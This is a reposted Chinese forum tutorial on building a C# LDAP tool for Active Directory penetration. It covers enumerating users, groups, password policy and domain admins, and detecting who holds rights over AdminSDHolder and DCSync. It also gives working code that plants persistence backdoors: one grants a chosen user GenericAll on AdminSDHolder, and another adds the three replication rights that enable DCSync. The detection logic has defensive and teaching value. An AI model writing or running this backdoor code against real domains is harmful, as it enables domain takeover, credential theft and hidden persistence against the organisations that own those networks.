|
本帖最后由 Meng0f 于 2021-10-5 09:42 编辑
文章来源:原创 22ccaab HACK学习呀
内网渗透|C#编写LDAP内网渗透工具
我们常规的ldap查询例如ldapsearch
- ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local"
复制代码
ldap连接地址为:ldap://192.168.11.16 用户为hack 密码为test123..
在域外我们需要指定ip地址,在域内我们只需要指定域名也行,例如测试环境的redteam,也就是ldap://redteam,这里就说明我们写代码的时候就需要考虑是在域内还是在域外。
在c#进行ldap连接的时候需要引入DirectoryServices.dll,这个是系统自带的,自行寻找。- using System.DirectoryServices
复制代码
 
1.1域外连接
- string url = "LDAP://192.168.11.16/";
- string username = "hack";
- string password = "test123..";
- DirectoryEntry coon = new DirectoryEntry(url,username, password);
复制代码 DirectoryEntry类可封装 Active Directory 域服务层次结构中的节点或对象。
1.2 域内连接
如果是在域内,我们直接可以使用
- DirectoryEntry coon = new DirectoryEntry();
复制代码
所以我们就要判断下两种情况。我们知道了要用coon来获取节点列表,用search来进行条件查询。我们可以写两个方法来进行获取:
- //域内
- public static DirectoryEntry Get_coon_nopass()
- {
- coon = new DirectoryEntry();
- return coon;
- }
- public static DirectorySearcher Get_search_nopass()
- {
- search = new DirectorySearcher(coon);
- return search;
- }
复制代码- //域外
- public static void SET_LDAP_USER_PASS()
- {
- url = "LDAP://" + GetArgsValue.domain;
- username = GetArgsValue.user;
- password = GetArgsValue.pass;
- }
- public static DirectoryEntry Get_coon()
- {
- coon = new DirectoryEntry(url, username, password);
- return coon;
- }
- public static DirectorySearcher Get_search()
- {
- search = new DirectorySearcher(coon);
- return search;
- }
复制代码 域内很好理解,这里来说下域外。SET_LDAP_USER_PASS()这个方法用来获取url,username,password,然后调用了GetArgsValue类里面的属性。
这里我用了NDesk.Options来处理获取的参数。
先定义三个list
- List<string> domains = new List<string>();
- List<string> users = new List<string>();
- List<string> passes = new List<string>();
复制代码- { "t|target=", "the {Target} of the needed to add user",v => adduser.Add (v) },
- { "d|domain=", "the {IP} of the target",v => domains.Add (v) },
- { "u|user=", "the {user} of the target",v => users.Add (v) },
复制代码 这里的意思就是当用户输入-t -d -u 后面接受的值分别传递给了domains,users,passes。
然后写了个GetArgsValue类来存储这些值
- public static string domain = "";
- public static string user = "";
- public static string pass = "";
- public static void GetDomainValue(List<string> param1 = null)
- {
- foreach (string p in param1)
- {
- domain = p;
- }
- }
- public static void GetUserValue(List<string> param2 = null)
- {
- foreach (string p in param2)
- {
- user = p;
- }
- }
- public static void GetPassValue(List<string> param3 = null)
- {
- foreach (string p in param3)
- {
- pass = p;
- }
- }
复制代码 然后在主函数调用了一下方法。
- //domain ip
- GetArgsValue.GetDomainValue(domains);
- //domain user
- GetArgsValue.GetUserValue(users);
- //domain pass
- GetArgsValue.GetPassValue(passes);
复制代码
那么当用户输入的值就会存储在GetArgsValue类里面的3个字段里。现在看到一下就很好理解了
- url = "LDAP://" + GetArgsValue.domain;
- username = GetArgsValue.user;
- password = GetArgsValue.pass;
复制代码 域内外连接都写了,然后就要写一个方法来接受我们的连接。
- public static void LDAP_COON()
- {
- if(GetArgsValue.user == "" && GetArgsValue.pass == "")
- {
- try
- {
- coon = Get_coon_nopass();
- search = Get_search_nopass();
- }
- catch
- {
- Font.Warning();
- Console.WriteLine("connection ldap fail");
- Font.NormailFonts();
- }
- }else if(GetArgsValue.user != "" && GetArgsValue.pass != "")
- {
- try
- {
- SET_LDAP_USER_PASS();
- coon = Get_coon();
- search = Get_search();
- }
- catch
- {
- Font.Warning();
- Console.WriteLine("connection ldap fail");
- Font.NormailFonts();
- }
- }
- }
复制代码
这里我的方法就是当GetArgsValue.user和GetArgsValue.pass的值为空的时候就会执行域内连接方法,否则就为域外。
我们把这个连接方法封装到Ldapcoon类里面,方便后面的调用
当在域外输入以下就会连接
- xx.exe -d 192.168.11.16 -u hack -p test123..
复制代码
0x02 Filter搜索条件
这里只会讲一些我们需要用到的一些语法,其他语法如果感兴趣可以自行搜索下。
这里先举例获取域内用户
- (&(objectClass=user)(objectCategory=person))
复制代码 
在c#中DirectorySearcher类的作用是对 Active Directory 域服务执行查询
- public DirectorySearcher (System.DirectoryServices.DirectoryEntry searchRoot);
- searchRoot
- DirectoryEntry
- Active Directory 域服务层次结构中的节点,从该节点处开始搜索。 SearchRoot 属性初始化为该值。
复制代码 设置filter为查询域内所有用户- DirectorySearcher search = new DirectorySearcher(coon);
- search.Filter = "(&(objectClass=user)(objectCategory=person))";
- foreach (SearchResult r in search.FindAll())
- {
- string users = "";
- try
- {
- users = r.Properties["name"][0].ToString();
- Console.WriteLine(users);
- }
- catch
- {
- Console.WriteLine("error");
- }
- }
复制代码
这里name值如何而来,我其实是这样看的:我们先用ldapsearch执行该语句
- ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(objectClass=user)(objectCategory=person))"
复制代码
 
代码:
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.DirectoryServices;
- namespace DemoLdap
- {
- class Program
- {
- static void Main(string[] args)
- {
- string url = "LDAP://192.168.11.16";
- string username = "hack";
- string password = "test123..";
- DirectoryEntry coon = new DirectoryEntry(url, username, password);
- DirectorySearcher search = new DirectorySearcher(coon);
- search.Filter = "(&(objectClass=user)(objectCategory=person))";
- foreach(SearchResult r in search.FindAll())
- {
- string users = "";
- try
- {
- users = r.Properties["name"][0].ToString();
- Console.WriteLine(users);
- }
- catch
- {
- Console.WriteLine("error");
- }
- }
- }
- }
- }
复制代码 执行结果为:
 
0x03 c#获取域内基本信息
前面连接函数已经写好后面获取这些基本信息就很简单了。
- public static void GetAllUsers()
- {
- try
- {
- Ldapcoon.LDAP_COON();
- Ldapcoon.search.Filter = "(&(objectClass=user)(objectCategory=person))";
- Font.InfoFonts();
- Console.WriteLine("===========All Users===========");
- Font.NormailFonts();
- foreach (SearchResult r in Ldapcoon.search.FindAll())
- {
- string domain_users = "";
- domain_users = r.Properties["name"][0].ToString();
- Console.WriteLine(domain_users);
- }
- }
- catch
- {
- Font.Warning();
- Console.WriteLine("error!");
- Font.NormailFonts();
- }
- }
复制代码 首先通过Ldapcoon类的LDAP_COON()方法获取域内节点coon,和可以用来搜索的search。域内就会返回域内的DirectoryEntry和DirectorySearcher对象,域外就会返回域外的DirectoryEntry和DirectorySearcher对象。
后面一些其他的就不再详讲
查询域内组
- public static void GetAllGroups()
- {
- try
- {
- Ldapcoon.LDAP_COON();
- Ldapcoon.search.Filter = "(&(objectCategory=group))";
- Font.InfoFonts();
- Console.WriteLine("===========All Groups===========");
- Font.NormailFonts();
- foreach (SearchResult r in Ldapcoon.search.FindAll())
- {
- string groups = "";
- string groupdescription = "";
- groups = r.Properties["cn"][0].ToString();
- Console.WriteLine("Group: " + groups);
- //groupdescription = r.Properties["description"][0].ToString();
- //Console.WriteLine("Description: " + groupdescription + "\r\n");
- }
- }
- catch
- {
- Font.Warning();
- Console.WriteLine("error!");
- Font.NormailFonts();
- }
- }
复制代码 域内密码策略:
- public static void GetPassPolicy()
- {
- try
- {
- Ldapcoon.LDAP_COON();
- Font.InfoFonts();
- Console.WriteLine("===========Pass Policy===========");
- Font.NormailFonts();
- SearchResult r = Ldapcoon.search.FindOne();
- long maxDays = 0;
- long minDays = 0;
- Int64 maxPwdAge = 0;
- Int64 minPwdAge = 0;
- string minPwdLength = "";
- string lockoutThreshold = "";
- Int64 lockoutDuration = 0;
- long lockTime = 0;
- maxPwdAge = (Int64)r.Properties["maxPwdAge"][0];
- maxDays = maxPwdAge / -864000000000;
- minPwdAge = (Int64)r.Properties["minPwdAge"][0];
- minDays = minPwdAge / -864000000000;
- minPwdLength = r.Properties["minPwdLength"][0].ToString();
- lockoutThreshold = r.Properties["lockoutThreshold"][0].ToString();
- lockoutDuration = (Int64)r.Properties["lockoutDuration"][0];
- lockTime = lockoutDuration / -864000000000;
- Console.WriteLine("最小修改密码时间:" + minDays);
- Console.WriteLine("最大修改密码时间:" + maxDays);
- Console.WriteLine("最小密码长度:" + minPwdLength);
- Console.WriteLine("多少次锁定:" + lockoutThreshold);
- Console.WriteLine("锁定持续时间:" + lockTime);
- }
- catch
- {
- Font.Warning();
- Console.WriteLine("error!");
- Font.NormailFonts();
- }
- }
复制代码
域管
- public static void GetAllAdmins()
- {
- try
- {
- Ldapcoon.LDAP_COON();
- Ldapcoon.search.Filter = "(&(objectClass=group)(cn=Domain Admins))";
- Font.InfoFonts();
- Console.WriteLine("===========All Domain Admins===========");
- Font.NormailFonts();
- foreach (SearchResult r in Ldapcoon.search.FindAll())
- {
- int domain_users_count = 0;
- string domain_users = "";
- int len = 0;
- domain_users_count = r.Properties["member"].Count;
- while(len < domain_users_count)
- {
- domain_users = r.Properties["member"][len].ToString();
- len++;
- if (domain_users.Contains("User"))
- {
- Console.WriteLine(domain_users);
- }
- else
- {
- continue;
- }
- }
- }
- }
- catch
- {
- Font.Warning();
- Console.WriteLine("error!");
- Font.NormailFonts();
- }
- }
复制代码
这里查询域管,我是这样进行处理的,我们先通过ldapsearch来查看返回结果
 
然后我获取member的数量然后看里面是否包含user来输出。
0x04 AdminSDHolder检测与后门用户添加
4.1 检测
AdminSDHolder是对CN=AdminSDHolder,CN=System,DC=redteam,DC=local这个cn拥有完全控制权限的用户,我们前面说到
- public DirectorySearcher (System.DirectoryServices.DirectoryEntry searchRoot);
复制代码 这里的searchroot就是查询的根地址我们就需要绑定到CN=AdminSDHolder,CN=System,DC=redteam,DC=local这里来也就是说url为
- LDAP://192.168.11.16/CN=AdminSDHolder,CN=System,DC=redteam,DC=local
- 或者为
- LDAP://redteam/CN=AdminSDHolder,CN=System,DC=redteam,DC=local
复制代码
每个域的名字都不一样所以我们要来获取对象的DC=redteam,DC=local和redteam这个值。
这里我们来创建一个public_value类也就是公共值类。
我们通过adexplorer来可以看到distinguishedName的值就为我们需要的。
 
我们可以看到objectClass为domainDNS.
 
所以我们的filter为:
- (&(objectClass=domainDNS))
复制代码
这里先用ldapsearch来进行查询
 
所以我们可以写一个方法来获取了:
- //获取DC=redteam,DC=local这个值
- public static String GetdistinguishedName()
- {
- string Domain_DNS_Name = "";
- try
- {
- Ldapcoon.LDAP_COON();
- Ldapcoon.search.Filter = "(&(objectClass=domainDNS))";
- foreach (SearchResult r in Ldapcoon.search.FindAll())
- {
- string domainDNS_Name = "";
- domainDNS_Name = r.Properties["distinguishedName"][0].ToString();
- Domain_DNS_Name = domainDNS_Name;
- }
- }
- catch
- {
- Font.Warning();
- Console.WriteLine("error!");
- Font.NormailFonts();
- }
- return Domain_DNS_Name;
- }
复制代码
同理
 
- //获取readteam这个值
- public static String Get_Dns_First_Name()
- {
- string Dns_First_Name = "";
- try
- {
- Ldapcoon.LDAP_COON();
- Ldapcoon.search.Filter = "(&(objectClass=domainDNS))";
- foreach (SearchResult r in Ldapcoon.search.FindAll())
- {
- string domainDC_Name = "";
- domainDC_Name = r.Properties["dc"][0].ToString();
- Dns_First_Name = domainDC_Name;
- }
- }
- catch
- {
- Font.Warning();
- Console.WriteLine("error!");
- Font.NormailFonts();
- }
- return Dns_First_Name;
- }
复制代码
那么现在就可以绑定adminsdholder路径了
- //首先获取DC=redteam,DC=local这个值
- string distinguishedName = "";
- distinguishedName = public_value.GetdistinguishedName();
- //然后获取readteam这个值
- string dc = "";
- dc = public_value.Get_Dns_First_Name();
- if (dc != "" && distinguishedName != "")
- {
- //进行拼接如果在域内可以直接拼接为以下
- //LDAP://redteam/CN=AdminSDHolder,CN=System,DC=redteam,DC=local
- bool flag = public_value.isindomain();
- string AdminSDHolder_path = "";
- if (flag)
- {
- AdminSDHolder_path = "LDAP://" + dc + "/CN=AdminSDHolder,CN=System," + distinguishedName;
- }
- else
- {
- AdminSDHolder_path = "LDAP://" + GetArgsValue.domain + "/CN=AdminSDHolder,CN=System," + distinguishedName;
- }
- Ldapcoon.coon.Path = AdminSDHolder_path;
复制代码
这里为了方便我写了个isindomain放来来判断是否在域内还是在域外
- //判断域内还是域外
- public static bool isindomain()
- {
- if (GetArgsValue.user != "" && GetArgsValue.pass != "")
- {
- return false;
- }
- return true;
- }
复制代码
我们需求很简单就是要获取哪些用户对adminsdholder这个cn拥有完全控制权限。
DirectoryEntry类有个属性叫做ObjectSecurity作用是获取或设置此项的安全说明符。这个详细请自行查看msdn。
- ActiveDirectorySecurity sec = Ldapcoon.coon.ObjectSecurity;
- AuthorizationRuleCollection rules = null;
- rules = sec.GetAccessRules(true, true, typeof(NTAccount));
- foreach (ActiveDirectoryAccessRule rule in rules)
- {
- if (rule.ActiveDirectoryRights.ToString().Equals("GenericAll"))
- {
- string acl = rule.IdentityReference.Value;
- if (acl.Contains("-"))
- {
- //域外查询可能会出现用户名为sid的情况。所以需要转换
- //Console.WriteLine(acl);
- string user_name = public_value.SidToUserName(acl);
- if(user_name != "error")
- {
- Console.WriteLine(user_name);
- }
- }
- else
- {
- Console.WriteLine(acl);
- }
- }
- }
复制代码
获取到coon的安全说明符后调用GetAccessRules方法获取与指定的安全性标识符关联的访问规则的集合。也就是说获取我们这个节点的规则集合,然后用foreach来循环判断。当用户的ActiveDirectoryRights也就是权限为GenericAll我们就输出出来他的名字,也就是对adminsdholder这个拥有完全控制权限的用户。当我们在域外的时候我们获取到的用户可能是sid,所以我们还需要让sid转换为域内用户名字。当然这个用户可能是一个user,group或者一个computer
这里调用了public_value的SidToUserName方法。 - //sid to username
- public static string SidToUserName(string sid)
- {
- try
- {
- Ldapcoon.LDAP_COON();
- string url = "LDAP://" + GetArgsValue.domain + "/<SID=" + sid + ">";
- Ldapcoon.coon.Path = url;
- Ldapcoon.search.Filter = "(&(objectClass=user)(objectCategory=person))";
- foreach (SearchResult r in Ldapcoon.search.FindAll())
- {
- string users = "";
- users = r.Properties["name"][0].ToString();
- if (users != "")
- {
- return users;
- }
- }
- Ldapcoon.search.Filter = "(&(objectClass=group))";
- foreach (SearchResult r in Ldapcoon.search.FindAll())
- {
- string groups = "";
- groups = r.Properties["name"][0].ToString();
- if (groups != "")
- {
- return groups;
- }
- }
- Ldapcoon.search.Filter = "(&(objectClass=computer))";
- foreach (SearchResult r in Ldapcoon.search.FindAll())
- {
- string computers = "";
- computers = r.Properties["name"][0].ToString();
- if (computers != "")
- {
- return computers;
- }
- }
- }
- catch
- {
- }
- return "error";
- }
复制代码
在ldap用支持以下语法这种形式
- LDAP://192.168.11.16/<SID=xxxxxxxxxx>
复制代码
于是我们把sid带入,设置coon.path为该用户再通过(&(objectClass=user)(objectCategory=person))过滤条件搜索出来,比如
 
我们绑定了hack用户为rootpath,那么通过过滤条件搜索出来的也是它自己,因为它没有子节点了。然后获取他的name值,当获取到的不为空就返回,否则就返回error,然后在adminsdholder检测代码这边我们写道
- string acl = rule.IdentityReference.Value;
- if (acl.Contains("-"))
- {
- //域外查询可能会出现用户名为sid的情况。所以需要转换
- //Console.WriteLine(acl);
- string user_name = public_value.SidToUserName(acl);
- if(user_name != "error")
- {
- Console.WriteLine(user_name);
- }
复制代码
当user_name不为error的时候就会输出,那么什么时候会输出error呢?假如我们以前有一个用户为qqq,然后他对adminsdholder这个组拥有完全控制权限,但是我们后来把这个用户删除了,他就会到一个CN=Deleted Objects里面他的sid就为url就为下面这个然后我们的LDAP://redteam/<SID=xxx>就会失败。
- CN=qqqDEL:67e38247-2727-4c5a-8704-c9f33ad747da,CN=Deleted Objects,DC=redteam,DC=local
复制代码
我们在匹配谁对adminsdholder拥有完全控制权限的时候还是会检测到。就搜索失败返回error,这里我们获取到error的直接continue。
4.2 添加
前面同理我们需要设置rootpath
- Ldapcoon.LDAP_COON();
- //获取DC=redteam,DC=local
- string distinguishedName = "";
- string domainname = "";
- domainname = public_value.Get_Dns_First_Name();
- distinguishedName = public_value.GetdistinguishedName();
- //string AdminSDHolder_Path = "LDAP://192.168.11.16/CN=System,DC=redteam,DC=local";
- string AdminSDHolder_Path = "LDAP://" + domainname + "/" + "CN=System," + distinguishedName;
- //Console.WriteLine(AdminSDHolder_Path);
- Ldapcoon.coon.Path = AdminSDHolder_Path;
复制代码 赋予用户对adminsdholder完全控制权限
- foreach (DirectoryEntry computer in Ldapcoon.coon.Children)
- {
- if (computer.Name == "CN=AdminSDHolder")
- {
- ActiveDirectorySecurity sdc = computer.ObjectSecurity;
- NTAccount Account = new NTAccount(username);
- SecurityIdentifier Sid =(SecurityIdentifier)Account.Translate(typeof(SecurityIdentifier));
- ActiveDirectoryAccessRule rule = new ActiveDirectoryAccessRule(Sid,ActiveDirectoryRights.GenericAll,AccessControlType.Allow);
- sdc.SetAccessRule(rule);
- computer.CommitChanges();
- Font.InfoFonts();
- Console.WriteLine("AdminSDHolder back door add user "+ username + " success!!");
- Font.NormailFonts();
- }
- }
复制代码
我们先遍历节点当节点为CN=AdminSDHolder的时候获取他的安全规则集合
然后我们看到ActiveDirectoryAccessRule类:用于表示 Active Directory 域服务对象的自由访问控制列表 (DACL) 中的访问控制项 (ACE)。
- ActiveDirectoryAccessRule(IdentityReference, ActiveDirectoryRights, AccessControlType)
复制代码
我们可以看到第一个参数为一个IdentityReference对象,第二个参数为访问规则权限的一个或多个,第三个参数为访问规则类型。
我们前面的account为NTAccount类型,我们可以通过Translate把他转换为IdentityReference类型,然后第二个我们设置为GenericAll,第三个设置为允许。我们设置了这个规则后可以通过SetAccessRule方法来设置。
最后通过CommitChanges方法来进行添加。
 
0x05 Dcsync检测与后门用户添加
5.1 检测
当用户对根域拥有完全控制权限或者拥有以下三条ace或者对以下权限打勾的时候就能dcsync。
- 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
- 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
- 89e95b76-444d-4c62-991a-0facbeda640c
复制代码
 
我们先绑定rootpath为根路径然后先判断拥有完全控制权限的用户:
- if (rule.ActiveDirectoryRights.ToString().Equals("GenericAll"))
- {
- string acl = rule.IdentityReference.Value;
- if (acl.Contains("-"))
- {
- //域外查询可能会出现用户名为sid的情况。所以需要转换
- //Console.WriteLine(acl);
- string user_name = public_value.SidToUserName(acl);
- if (user_name != "error")
- {
- ACE_Changes.Add(user_name);
- ACE_Changes_All.Add(user_name);
- ACE_Changes_In_Filtered_Set.Add(user_name);
- }
- else
- {
- continue;
- }
- }
- else
- {
- ACE_Changes.Add(acl);
- ACE_Changes_All.Add(acl);
- ACE_Changes_In_Filtered_Set.Add(acl);
- }
- }
复制代码
这里的
- ACE_Changes.Add(acl);
- ACE_Changes_All.Add(acl);
- ACE_Changes_In_Filtered_Set.Add(acl);
复制代码
这里我通过switch case来进行判断是否拥有这个三条acl,可能有些用户只有两条或者一条,所以我通过
- string guids = rule.ObjectType.ToString();
- switch (guids)
- {
- case "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2":
- username = dcsync_return_username(rule);
- if(username == null)
- {
- continue;
- }
- //Console.WriteLine("ACE:复制目录更改");
- //Console.WriteLine("User:"+ username);
- ACE_Changes.Add(username);
- break;
- case "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2":
- username = dcsync_return_username(rule);
- if (username == null)
- {
- continue;
- }
- //Console.WriteLine("ACE:复制目录更改全部");
- //Console.WriteLine("User:" + username);
- ACE_Changes_All.Add(username);
- break;
- case "89e95b76-444d-4c62-991a-0facbeda640c":
- username = dcsync_return_username(rule);
- if (username == null)
- {
- continue;
- }
- //Console.WriteLine("ACE:复制过滤集中的目录更改");
- //Console.WriteLine("User:" + username);
- ACE_Changes_In_Filtered_Set.Add(username);
- break;
- }
复制代码
来进行处理,当拥有每条acl的时候就添加到一个集合里面,然后我们再取三个集合的交集
- //取三个集合的交集
- IEnumerable<string> dcsync_users1 = ACE_Changes.Intersect(ACE_Changes_All);
- IEnumerable<string> dcsync_users2 = dcsync_users1.Intersect(ACE_Changes_In_Filtered_Set);
- foreach(string dcsync_users in dcsync_users2)
- {
- Console.WriteLine(dcsync_users);
- }
复制代码
通过以上方法取出来我发现了一个问题当一个用户勾选了特殊权限,他的acl里面那三个复制目录权限是没有打上勾的但是依然能够进行dcsync。
再ActiveDirectoryAccessRule类里面存在一个InheritedObjectType属性,他的作用是获取可继承ObjectAccessRule对象的子对象的类型,所以我们也要判断用户这里面的值是否也用户这三条acl。
- string guids_extend = rule.InheritedObjectType.ToString();
- switch (guids_extend)
- {
- case "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2":
- username = dcsync_return_username(rule);
- if (username == null)
- {
- continue;
- }
- //Console.WriteLine("ACE:复制目录更改");
- //Console.WriteLine("User:"+ username);
- ACE_Changes.Add(username);
- break;
- case "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2":
- username = dcsync_return_username(rule);
- if (username == null)
- {
- continue;
- }
- //Console.WriteLine("ACE:复制目录更改全部");
- //Console.WriteLine("User:" + username);
- ACE_Changes_All.Add(username);
- break;
- case "89e95b76-444d-4c62-991a-0facbeda640c":
- username = dcsync_return_username(rule);
- if (username == null)
- {
- continue;
- }
- //Console.WriteLine("ACE:复制过滤集中的目录更改");
- //Console.WriteLine("User:" + username);
- ACE_Changes_In_Filtered_Set.Add(username);
- break;
- }
复制代码
5.2 添加
我们通过ExtendedRightAccessRule类来添加这三条acl的guid
- public ExtendedRightAccessRule (System.Security.Principal.IdentityReference identity, System.Security.AccessControl.AccessControlType type, Guid extendedRightType);
复制代码 第一个为SecurityIdentifier的对象,前面已经说明了。第二个为访问规则类型。第三个为acl的guid。
然后通过AddAccessRule来添加。
- ActiveDirectorySecurity adsOUSec = Ldapcoon.coon.ObjectSecurity;
- NTAccount ntaToDelegate = new NTAccount(username);
- SecurityIdentifier Sid = (SecurityIdentifier)ntaToDelegate.Translate(typeof(SecurityIdentifier));
- Guid Get_Changes = new Guid("1131f6aa-9c07-11d1-f79f-00c04fc2dcd2");
- Guid Get_Changes_All = new Guid("1131f6ad-9c07-11d1-f79f-00c04fc2dcd2");
- Guid ACE_Changes_In_Filtered = new Guid("89e95b76-444d-4c62-991a-0facbeda640c");
- ExtendedRightAccessRule Changes = new ExtendedRightAccessRule(ntaToDelegate, AccessControlType.Allow, Get_Changes);
- ExtendedRightAccessRule Changes_All = new ExtendedRightAccessRule(ntaToDelegate, AccessControlType.Allow, Get_Changes_All);
- ExtendedRightAccessRule Changes_Filtered = new ExtendedRightAccessRule(ntaToDelegate, AccessControlType.Allow, ACE_Changes_In_Filtered);
- adsOUSec.AddAccessRule(Changes);
- adsOUSec.AddAccessRule(Changes_All);
- adsOUSec.AddAccessRule(Changes_Filtered);
- Ldapcoon.coon.CommitChanges()
复制代码
 
 
|
|